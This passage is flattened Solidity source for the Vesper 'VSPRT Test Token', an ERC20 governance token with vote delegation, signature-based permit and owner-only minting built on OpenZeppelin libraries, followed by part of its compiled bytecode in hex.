for change. /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { /** * @dev Changed _owner from 'private' to 'internal' */ address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Contract module extends Ownable and provide a way for safe transfer ownership. * New owner has to call acceptOwnership in order to complete ownership trasnfer. */ contract Owned is Ownable { address private _newOwner; /** * @dev Initiate transfer ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. Current owner will still be owner until * new owner accept ownership. * @param newOwner new owner address */ function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "New owner is the zero address"); _newOwner = newOwner; } /** * @dev Allows new owner to accept ownership of the contract. */ function acceptOwnership() public { require(msg.sender == _newOwner, "Caller is not the new owner"); emit OwnershipTransferred(_owner, _newOwner); _owner = _newOwner; _newOwner = address(0); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: vesper-token/contracts/VSPRGovernanceToken.sol // BSD 3-Clause // From https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. pragma solidity 0.6.12; // solhint-disable reason-string, no-empty-blocks abstract contract VSPRGovernanceToken is ERC20 { /// @dev A record of each accounts delegate mapping(address => address) public delegates; /// @dev A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @dev A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @dev The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @dev The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @dev The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @dev A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @dev An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @dev An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /** * @dev Constructor. */ constructor(string memory name, string memory symbol) public ERC20(name, symbol) {} /** * @dev Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @dev Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "VSPR::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "VSPR::delegateBySig: invalid nonce"); require(now <= expiry, "VSPR::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @dev Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @dev Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) { require(blockNumber < block.number, "VSPR::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates( address srcRep, address dstRep, uint256 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "VSPR::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: vesper-token/contracts/VSPR.sol pragma solidity 0.6.12; // solhint-disable no-empty-blocks contract VSPR is VSPRGovernanceToken, Owned { /// @dev The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); constructor() public VSPRGovernanceToken("VSPRT Test Token", "VSPRT") {} /// @dev mint function mint(address _recipient, uint256 _amount) public onlyOwner { _mint(_recipient, _amount); _moveDelegates(address(0), delegates[_recipient], _amount); } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param amount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(deadline >= block.timestamp, "VSPR:permit: signature expired"); bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0) && signatory == owner, "VSPR::permit: invalid signature"); _approve(owner, spender, amount); } /// @dev Overridden ERC20 transfer function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); _moveDelegates(delegates[_msgSender()], delegates[recipient], amount); return true; } /// @dev Overridden ERC20 transferFrom function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, "VSPR::transferFrom: transfer amount exceeds allowance")); _moveDelegates(delegates[sender], delegates[recipient], amount); return true; } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063782d6fe1116100f9578063b4b5ea5711610097578063dd62ed3e11610071578063dd62ed3e146105b3578063e7a324dc146105e1578063f1127ed8146105e9578063f2fde38b1461063b576101c4565b8063b4b5ea57146104f5578063c3cda5201461051b578063d505accf14610562576101c4565b80638da5cb5b116100d35780638da5cb5b1461048d57806395d89b4114610495578063a457c2d71461049d578063a9059cbb146104c9576101c4565b8063782d6fe11461043357806379ba50971461045f5780637ecebe0014610467576101c4565b806339509351116101665780635c19a95c116101405780635c19a95c146103a05780636fcfff45146103c657806370a0823114610405578063715018a61461042b576101c4565b8063395093511461030457806340c10f1914610330578063587cde1e1461035e576101c4565b806320606b70116101a257806320606b70146102a057806323b872dd146102a857806330adf81f146102de578063313ce567146102e6576101c4565b806306fdde03146101c9578063095ea7b31461024657806318160ddd14610286575b600080fd5b6101d1610661565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561020b5781810151838201526020016101f3565b50505050905090810190601f1680156102385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102726004803603604081101561025c57600080fd5b506001600160a01b0381351690602001356106f7565b604080519115158252519081900360200190f35b61028e610715565b60408051918252519081900360200190f35b61028e61071b565b610272600480360360608110156102be57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b61028e6107ce565b6102ee6107f2565b6040805160ff9092168252519081900360200190f35b6102726004803603604081101561031a57600080fd5b506001600160a01b0381351690602001356107fb565b61035c6004803603604081101561034657600080fd5b506001600160a01b038135169060200135610849565b005b6103846004803603602081101561037457600080fd5b50356001600160a01b03166108e6565b604080516001600160a01b039092168252519081900360200190f35b61035c600480360360208110156103b657600080fd5b50356001600160a01b0316610901565b6103ec600480360360208110156103dc57600080fd5b50356001600160a01b031661090e565b6040805163ffffffff9092168252519081900360200190f35b61028e6004803603602081101561041b57600080fd5b50356001600160a01b0316610926565b61035c610941565b61028e6004803603604081101561044957600080fd5b506001600160a01b0381351690602001356109f5565b61035c610bfd565b61028e6004803603602081101561047d57600080fd5b50356001600160a01b0316610cc2565b610384610cd4565b6101d1610ce3565b610272600480360360408110156104b357600080fd5b506001600160a01b038135169060200135610d44565b610272600480360360408110156104df57600080fd5b506001600160a01b038135169060200135610dac565b61028e6004803603602081101561050b57600080fd5b50356001600160a01b0316610e0a565b61035c600480360360c081101561053157600080fd5b506001600160a01b038135169060208101359060408101359060ff6060820135169060808101359060a00135610e6e565b61035c600480360360e081101561057857600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c001356110e1565b61028e600480360360408110156105c957600080fd5b506001600160a01b038135811691602001351661136b565b61028e611396565b61061b600480360360408110156105ff57600080fd5b5080356001600160a01b0316906020013563ffffffff166113ba565b6040805163ffffffff909316835260208301919091528051918290030190f35b61035c6004803603602081101561065157600080fd5b50356001600160a01b03166113e7565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106ed5780601f106106c2576101008083540402835291602001916106ed565b820191906000526020600020905b8154815290600101906020018083116106d057829003601f168201915b5050505050905090565b600061070b6107046114ce565b84846114d2565b5060015b92915050565b60025490565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b600061074c8484846115be565b610792846107586114ce565b61078d85604051806060016040528060358152602001611e19603591396107868a6107816114ce565b61136b565b9190611719565b6114d2565b6001